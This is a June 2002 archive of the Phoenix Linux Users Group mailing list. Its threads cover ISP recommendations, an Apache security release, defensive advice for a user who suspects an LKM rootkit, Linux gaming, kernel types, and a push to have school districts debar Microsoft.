-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9EBLi6He1yLs+JHwRApc/AKC/rPUzbmbARuyL3A9hS6NaomcLFACfeWgl 2H4hzOJXOJDI4ov50x+wa0U= =8N8Z -----END PGP SIGNATURE----- --=-+i5M0brNiPHRORq6bRf9-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 06:44:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Tue, 18 Jun 2002 23:44:06 -0700 Subject: Local ISPs... References: Message-ID: <3D102836.8060706@deru.com> C. Sullivan wrote: > Can anybody recommend a good local dialup ISP that is Linux-friendly and > reliable? Deru http://www.deru.com Extremely knowledgeable, reliable and very linux friendly. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:32:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Wed, 19 Jun 2002 00:32:16 -0700 Subject: Local ISPs... In-Reply-To: References: Message-ID: <200206190032.20952.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://www.unitywave.com Am 18 Dienstag Juni 2002 21:53 schrieb C. Sullivan: > Can anybody recommend a good local dialup ISP that is Linux-friendly and > reliable? I don't need a lot of hand-holding, just one that isn't going > to get all weird when I report a problem and I give them output from > pppd's logs. > > (my current ISP, USISP [which is neither linux-friendly nor local] has > constant problems with what should be easy stuff [you know, little things > like changing my account without telling me and keeping the in-addr.arpa > records working] and I'm sick of it) > > -Fedl > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Nathan England plug@the-arcanum.org jabber id: linuxjunkie@earth.jabber.li "A free society is one where it is safe to be unpopular." -- Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9EDOEQ7yNnsYcupwRAoobAKCcHhaJeOOWDS821WHxcsJQwcgRGwCfXIuC mzbCgVsqE+/BWa9ROX8mQhU= =yTp+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:37:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Wed, 19 Jun 2002 00:37:18 -0700 Subject: Gnucash 1.6.6 Message-ID: <200206190037.18890.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Has anyone built gnucash 1.6.6 ? I built it tonight and everything went smooth, but when I try to load it, it says slib is missing and I may need to create a symlink to slib in my guile directory. My guile is in /usr/share/guile Slib is in /usr/share/guile/1.4/slib with a symlink to /usr/share/guile/slib I've tried as root and my user. Anyone else have this problem? nathan - -- Nathan England plug@the-arcanum.org jabber id: linuxjunkie@earth.jabber.li "A free society is one where it is safe to be unpopular." -- Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9EDSuQ7yNnsYcupwRAvJ0AJ9j7Amm7wC+0zjdLvhEby9FPuCIMQCeLvVr u73LzZDYaZcmaR/zXWj68BE= =JqV+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:35:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Wed, 19 Jun 2002 00:35:35 -0700 Subject: Apache releases versions 1.3.26 and 2.0.39 Message-ID: <3D103447.6010009@deru.com> http://slashdot.org/article.pl?sid=02/06/18/2255209 http://www.apache.org/ These fix the problem that CERT reported yesterday [CERT VU#944335] ... -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:57:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 19 Jun 2002 00:57:38 -0700 (MST) Subject: Apache releases versions 1.3.26 and 2.0.39 In-Reply-To: <3D103447.6010009@deru.com> Message-ID: Sure is nice to see a quick patch for this. ... i just completed rolling out a dozen copies of the 1.3.26 version ... The Apache Group is pleased to announce the release of the 1.3.26 version of the Apache HTTP Server. This version of Apache is principally a security and bug fix release. Of particular note is that 1.3.26 addresses and fixes the issues noted in CAN-2002-0392 (mitre.org) [CERT VU#944335] regarding a vulnerability in the handling of chunked transfer encoding as described above. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 08:58:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 01:58:16 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> ok, my rootkit checker spit out a line that has me concerned. it read back checking for LKM and found 4 processes that were invisible to both readdir and ps. This has me a little nervous now. I need to know if I am actually infected and if so, how bad and what I can do about it. I need assistance ASAP here. I can be reached via telephone at (623)849-9515 or respond directly by e-mail. if anyone has answers for me, I'd appreciate it. thanks. -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 11:52:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 19 Jun 2002 07:52:32 -0400 Subject: possible LKM rootkit infection References: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: <3D107080.CE03D21A@georgetoft.com> Please post your results when you reach resolution. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- technomage wrote: > > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 13:40:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Brewster) Date: Wed, 19 Jun 2002 06:40:30 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: <20020619134030.37517.qmail@web14008.mail.yahoo.com> What are the processes that are invisible? Are any of them using a high/odd port number? IE ssh on port 37337? Any other info you can provide about this would also be helpful. IE how is your system connected to the net? Also, (curiosity on my part)what are using for a rootkit checker? scott --- technomage wrote: > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by > e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 14:35:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 07:35:52 -0700 Subject: Does Linux do games well? References: <200206181445.38509.zen2now@qwest.net> <3D0FEC5F.BCD94975@georgetoft.com> Message-ID: <000d01c2179e$9d34ccb0$2f7c0d82@peyote> UT has already been explained, as for TO, it is a now retail mod for UT called Tactical Ops "Assault on Terror" YEAH!!!! has the feel of Half Life's Counter Strike. slr ----- Original Message ----- From: "George Toft" To: Sent: Tuesday, June 18, 2002 7:28 PM Subject: Re: Does Linux do games well? > For those of us whose Linux gaming experience is limited to doom and > decent, could you spell out the games names, ie, UT and TO? > > George > > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > > > slr wrote: > > > > linuxgames.com is a great link for linux games > > > > if you have the 3D hardware and the most recent vid. drv. to play the newer > > games, then i would say YES!!! linux is great for playing games, Wolfenstein > > plays better for me in linux than is does in Windoze, as does Soldier of > > Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play > > great in Linux. Actually i enjoy playing games in Linux better than Windoze, > > but there just isnt enough titles, and now with Loki gone the future is > > somewhat dim. > > > > slr > > > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > > > How good is linux for games? > > > > > > Linux has a rep for running more efficiently on older hardware than W*. > > > Is there a website that lists games available to linux and minimal hardware > > > needed for them? > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:02:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 08:02:04 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: Also, run nmap against your computer from another computer to see if there's anything listening that shouldn't be. ~M On Wed, 19 Jun 2002, technomage wrote: > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 14:59:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 07:59:56 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: It's possible that the "lsof" command wasn't trojaned, since most root kits don't check for it. Try "lsof -ni" and see if there's any difference between "netstat -lp". If so, copy over a new "ps" and "ls" and "netstat" from another machine that you know hasn't been compromised (a fresh install is best, and make sure it's the same arch/distro). If lsof shows an unusual port, check to see what program is running in the far left column. Locate that program and run "strings" on it to get more info. This should get you started. Keep us updated on what you find. Thanks, ~M On Wed, 19 Jun 2002, technomage wrote: > ok, my rootkit checker spit out a line that has me concerned. > it read back checking for LKM and found 4 processes that were invisible to > both readdir and ps. > > This has me a little nervous now. I need to know if I am actually infected > and if so, how bad and what I can do about it. > > I need assistance ASAP here. > > I can be reached via telephone at (623)849-9515 or respond directly by e-mail. > if anyone has answers for me, I'd appreciate it. > > thanks. > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 05:00:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Fred A. Miller) Date: Wed, 19 Jun 2002 01:00:45 -0400 Subject: Help Maricopa County Do the Right Thing Message-ID: <200206190100.47041.fmiller@lightlink.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 To: George Toft George, I wish you and everyone there in the Phoenix group the best in your endeavor!!! IF you are successful, it SHOULD become National news, and I'll request that you let me know the final verdict and the details. I'll make certain that Linux groups are well informed! Best, Fred - -- "...Linux, MS-DOS, and Windows 2000 (also known as the Good, the Bad, and the Ugly)." -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj0QD/0ACgkQeNJ3p8sZ/usJDwCdFOOOhIV227R4UBfWjMImd2Db HQoAnji07xNM0hJNSaLx9m0Lh0mJUpZ7 =Uyqd -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:20:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 19 Jun 2002 08:20:08 -0700 (MST) Subject: possible LKM rootkit infection In-Reply-To: <20020619085816.LQJS24965.fed1mtao02.cox.net@there> Message-ID: Tell more about your rootkit checker, sounds like a really handy tool! The very few root'd *nix boxes we've handled, generally start with clean copies of binaries such as: ps, lsof, netstat, lsattr (for linux ext2), ... If neccessary, mount a cd with the binaries you'll need, or NFS from a shared CD. (favor CD so you're certain your binaries can't be overwritten by a clever rootkit). Most that I recall have been linux boxen, between a clean netstat (netstat -pan) and sniffing around the filesystem with lsattr & ls finds most of the little nasties. Start easy, copy a clean netstat over and have a look-see. I have not yet seen a root-kit that really defends itself against the sysadmin copying over a clean binary and using it to look around. If you suspect a stealth kernel, reboot from a cd, then hunt the filesystem. 'course my favorite is to just slick the machine, reinstall ... sometimes that is quicker. Running nmap against the suspected target may show you hidden listeners. If you wish, post the IP & wether there is a firewall, I'm sure several on the list would be happy to sweep your box from outside your network. (which is always a good thing to do! see if your configuration is really doing what you think it is doing!!) - tom e. ------------------------------------------ On Wed, 19 Jun 2002, technomage wrote: ok, my rootkit checker spit out a line that has me concerned. it read back checking for LKM and found 4 processes that were invisible to both readdir and ps. This has me a little nervous now. I need to know if I am actually infected and if so, how bad and what I can do about it. I need assistance ASAP here. I can be reached via telephone at (623)849-9515 or respond directly by e-mail. if anyone has answers for me, I'd appreciate it. thanks. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:42:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Wed, 19 Jun 2002 08:42:50 -0700 Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' References: <20020618235047.934.qmail@web10601.mail.yahoo.com> Message-ID: <3D10A67A.5050206@asu.edu> Modular is when your kernel is able to load modules for a particular device. That is, make it available for the kernel to load as necessary at run-time, which requires that the kernel be compiled with kernel-module-loading ability. Monolithic is when there are no modules to load at run-time. All modules for devices are compiled into the kernel and loaded at boot. Even if a device is never or rarely used the "bloated" kernel carries around the knowledge of how to communicate with that type of device. Typically, the RedHat 7.2 kernel comes monolithic. The instructions probably discuss monolithic kernels in the sense that YOU manually load the module, and modular kernels in the sense that the kernel needs to be recompiled to make the kernel aware that the module is available at run-time. You can select these things when you re-compile the kernel. Sorry, that this probably wasn't a very concise explanation, and certainly not thorough. Regardless, RedHat comes compiled with kudzu, which is the plug and play ability. When you boot up with the new device, kudzu will ask you if you want to configure the new device. Then you are good to go. If anyone wants to clarify or correct any of the above, feel free. --Roderick Ford Alpha Zenon Sanchez wrote: > Hello Linux Users: > > If I installed a Redhat 7.2 OS on my computer from a > CD, but so far have not configured anything and added > cards with Redhat's 'plug and play' ability, what type > of Kernal do I have? Would it be monolithic or > modular? I need to know this becuase I'm installing > a NIC card on my system. I haven't rebuilt or compiled > my kernel yet. > > The instructions have versions for both a monolithic > and a modular kernel. > > My NIC card is a Netgear FA310TX PCI. > Thanks in Advance > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 15:58:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 19 Jun 2002 08:58:10 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> Message-ID: <02061908581006.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 According to the state administrative rules, it looks like most if not all of the school districts could be required to initiate debarment proceedings against MS. Anyone know an attorney who is willing to take something like this on pro-bono? On Tuesday 18 June 2002 21:39, you wrote: > Here is the response I received from David Cantelme, Deer Valley school > board member. He is the one who has arizonalawinstitute@yahoo.com as his > email address. It sounds to me that all the school districts and the state > itself should be starting debarment proceedings against MS. We need to > start contacting the legislators, Attorney General's office and your local > school superintendents. > > > ----- Original Message ----- > From: "david cantelme" > To: "Tom Achtenberg" > Sent: Tuesday, June 18, 2002 6:08 AM > Subject: Re: Computer Purchasing Guidelines > > > Dear Mr. Actenburg: > > They do not, but similar rules found in the state > school district procurement rules do apply. Both sets > of rules have their origen in the state procurement > code. You can find the school district procurement > rules by going to the secretary of state web site. > Click on administrative rules. Go to title seven. > Then scroll down to R7-2-1001. That's where the rules > begin. They continue to about R7-2-1175. > > Debarment procedures do exist in the school district > procurement rules. You would need to address your > comments on debarment to the adminsitration. That's > who would initiate the procedure. If the > administration initiates a debarment procedure, the > board determines whether to appoint a hearing officer. > It goes from there to the officer with appropriate > due process to the contractor. The board itself has > no involvement in the hearing process. The officer > must be independent to ensure a fair hearing under our > constitutional system. > > --- Tom Achtenberg wrote: > > I was wondering if the Maricopa County purchasing > > policies listed below apply > > to DVUSD purchasing pprocedures? > > > > Maricopa County policies. Interesting references: > > > > MC1-101 DEFINITIONS > > 25."CONTRACTOR" means any Person who has a Contract > > with a County > > Governmental unit. For purposes of Article 5, > > Contractor may also mean > > Respondent as defined in this Article. > > 36."DEBARMENT" means an action taken by the County > > Administrative > > Officer under MC1-902 to prohibit a Person from > > Participating in > > Maricopa County Procurements. > > 80."PERSON" means any corporation, Business, > > individual, union, > > committee, club, other organization or group of > > individuals. > > 113."SUSPENSION" means an action taken by the County > > Administrative > > Officer under MC1-902 temporarily disqualifying a > > Person from > > participating in Maricopa County Procurements. > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > [Microsoft is considered a Contractor and a Person. > > This is important > > below.] > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > All Specifications shall seek to promote overall > > economy for the purpose > > intended and encourage competition in satisfying > > Maricopa County's needs > > and shall not be unduly restrictive. > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > [Is there any technology that is Microsoft > > exclusive? I believe there > > are sites that explain how to replace Exchange > > Server completely using > > Linux/OSS with Qmail; and SQL Server is replaceable > > with mySQL or PostgreSQL; > > IIS & ASP is replaceable with Apache & PHP, The MS > > Office suite is > > replaceable with the very comparable Open Office > > suite.] > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > B. The causes for Debarment or Suspension shall > > include, but are not > > limited to, the following: > > 2. Conviction of any Person or any subsidiary or > > affiliate of any Person > > under any statute of the Federal government, this > > State or its political > > subdivision or any other State for: > > k. Any other offense indicating a lack of business > > integrity or business > > honesty which affects responsibility as a > > Contractor. > > 3. Conviction or civil judgment finding a violation > > by any Person or any > > subsidiary or affiliate of any Person under State or > > Federal Antitrust > > Statutes. > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > As I read MC1-902.B.3, Microsoft (a Person), having > > been convicted of a > > violation of Federal Antitrust Statues, cannot be a > > County Contractor. > > > > There are many alternatives to Microsofts products. > > Alternatives that have > > broken no laws, Federal or Local, are well supported > > and used by many large > > governments (Germany, Taiwan, et al). As a > > concerned voter in the DVUSD, I > > must point out that I cannot support criminal > > behavior and would hope that my > > Governing Board would see fit to do the same and > > ONLY consider alternatives > > as Microsoft is clearly unqualified to meet District > > requirements. > > > > Thank You, > > > > Tom Achtenberg > > > > PS this message was written ans sent to you using a > > computer that is 100% > > Microsoft free. It uses the Red Hat Linux 7.3 > > operating system, KDE windows > > like desktop and the K-mail email client. All if > > these programs come under > > the "General Public License" which means they are > > 100% free to the public for > > personal and commercial use. > > -- > > Visit the Mountain Ridge Band Site at > > http://www.mrhsband.org > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a uqHWgWriXgbXcZvWptly5CtJ =tKg8 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:01:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 09:01:00 -0700 Subject: gentoo 1.2 In-Reply-To: <20020618210224.GA27747@aries.evilmascot.com> References: <200206180935.52647.zen2now@qwest.net> <20020618210224.GA27747@aries.evilmascot.com> Message-ID: <200206190901.00430.zen2now@qwest.net> thanks very much for the info, but after further research on my part i have decided to give the SUSE 7.3 sparc64 version a try, that is if i can get all 5 disks before i die! know of a fast mirror? :~D slr On Tuesday 18 June 2002 02:02 pm, Kyle O'Malley wrote: > The i686 disk has install stages 1-3 on the disk, they must be refering to > the fact that if you build and compile starting from stage1 you can have a > working system on any i386+ while stage3 has everything precompiled but > only supports i686+. > > The last version I needed to install from was 1.1, which only included a > i386 kernel to install from, I can't see how they'd some how muck install > kernels for two diff architectures onto one cd (not to mention I doubt the > el torito boodable cd standardworks on sparc machines). > > -Kyle > > On Tue, Jun 18, 2002 at 09:38:56AM -0700, slr wrote: > > good morning plug, > > > > question for you guys familiar with gentoo. i > > noticed they sell a SPARC version, but i also noticed this statement: > > > > SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from > > Gentoo sales to the Gentoo Linux project! :) Note that the i686 CD will > > allow a build from scratch for *all* systems, but also has pre-built > > stuff for i686+ CPUs. > > > > the Note states that the i686 will allow a build from scratch on *all* > > systems, does that include the Ultra Sparc II? i want to try gentoo on my > > Ultra 5, because i have to many stability issues with MDK 7.1 corp. > > server and i dont like working with Solaris 8. so gentoo sounds like a > > great alternative for bringing new life to an over priced desktop. > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:28:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 19 Jun 2002 09:28:11 -0700 Subject: Local ISPs... In-Reply-To: Message-ID: <5.1.0.14.0.20020619092610.024e2b30@localhost> I can actually help you out with that. I have a special for PLUG people of $14.95 per month. I am not afraid nor will I yell too much when you send me some problem reports. The PLUG has always helped me out when I need a redirection. If you want to get this connected, just give me a call and it takes less than 10 minutes to get you going. My phone number is 602-375-5363. Kimi A. Adams, V.P. Unity Wave, L.L.C. At 6/19/02, you wrote: >Can anybody recommend a good local dialup ISP that is Linux-friendly and >reliable? I don't need a lot of hand-holding, just one that isn't going >to get all weird when I report a problem and I give them output from >pppd's logs. > >(my current ISP, USISP [which is neither linux-friendly nor local] has >constant problems with what should be easy stuff [you know, little things >like changing my account without telling me and keeping the in-addr.arpa >records working] and I'm sick of it) > >-Fedl > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:34:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 19 Jun 2002 09:34:29 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <02061908581006.01526@nova.wedge.org> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> Message-ID: <5.1.0.14.0.20020619093307.024ec210@localhost> Would this be civil? Kimi At 6/19/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >According to the state administrative rules, it looks like most if not all of >the school districts could be required to initiate debarment proceedings >against MS. Anyone know an attorney who is willing to take something like >this on pro-bono? > >On Tuesday 18 June 2002 21:39, you wrote: > > Here is the response I received from David Cantelme, Deer Valley school > > board member. He is the one who has arizonalawinstitute@yahoo.com as his > > email address. It sounds to me that all the school districts and the state > > itself should be starting debarment proceedings against MS. We need to > > start contacting the legislators, Attorney General's office and your local > > school superintendents. > > > > > > ----- Original Message ----- > > From: "david cantelme" > > To: "Tom Achtenberg" > > Sent: Tuesday, June 18, 2002 6:08 AM > > Subject: Re: Computer Purchasing Guidelines > > > > > > Dear Mr. Actenburg: > > > > They do not, but similar rules found in the state > > school district procurement rules do apply. Both sets > > of rules have their origen in the state procurement > > code. You can find the school district procurement > > rules by going to the secretary of state web site. > > Click on administrative rules. Go to title seven. > > Then scroll down to R7-2-1001. That's where the rules > > begin. They continue to about R7-2-1175. > > > > Debarment procedures do exist in the school district > > procurement rules. You would need to address your > > comments on debarment to the adminsitration. That's > > who would initiate the procedure. If the > > administration initiates a debarment procedure, the > > board determines whether to appoint a hearing officer. > > It goes from there to the officer with appropriate > > due process to the contractor. The board itself has > > no involvement in the hearing process. The officer > > must be independent to ensure a fair hearing under our > > constitutional system. > > > > --- Tom Achtenberg wrote: > > > I was wondering if the Maricopa County purchasing > > > policies listed below apply > > > to DVUSD purchasing pprocedures? > > > > > > Maricopa County policies. Interesting references: > > > > > > MC1-101 DEFINITIONS > > > 25."CONTRACTOR" means any Person who has a Contract > > > with a County > > > Governmental unit. For purposes of Article 5, > > > Contractor may also mean > > > Respondent as defined in this Article. > > > 36."DEBARMENT" means an action taken by the County > > > Administrative > > > Officer under MC1-902 to prohibit a Person from > > > Participating in > > > Maricopa County Procurements. > > > 80."PERSON" means any corporation, Business, > > > individual, union, > > > committee, club, other organization or group of > > > individuals. > > > 113."SUSPENSION" means an action taken by the County > > > Administrative > > > Officer under MC1-902 temporarily disqualifying a > > > Person from > > > participating in Maricopa County Procurements. > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > [Microsoft is considered a Contractor and a Person. > > > This is important > > > below.] > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > All Specifications shall seek to promote overall > > > economy for the purpose > > > intended and encourage competition in satisfying > > > Maricopa County's needs > > > and shall not be unduly restrictive. > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > [Is there any technology that is Microsoft > > > exclusive? I believe there > > > are sites that explain how to replace Exchange > > > Server completely using > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > with mySQL or PostgreSQL; > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > Office suite is > > > replaceable with the very comparable Open Office > > > suite.] > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > B. The causes for Debarment or Suspension shall > > > include, but are not > > > limited to, the following: > > > 2. Conviction of any Person or any subsidiary or > > > affiliate of any Person > > > under any statute of the Federal government, this > > > State or its political > > > subdivision or any other State for: > 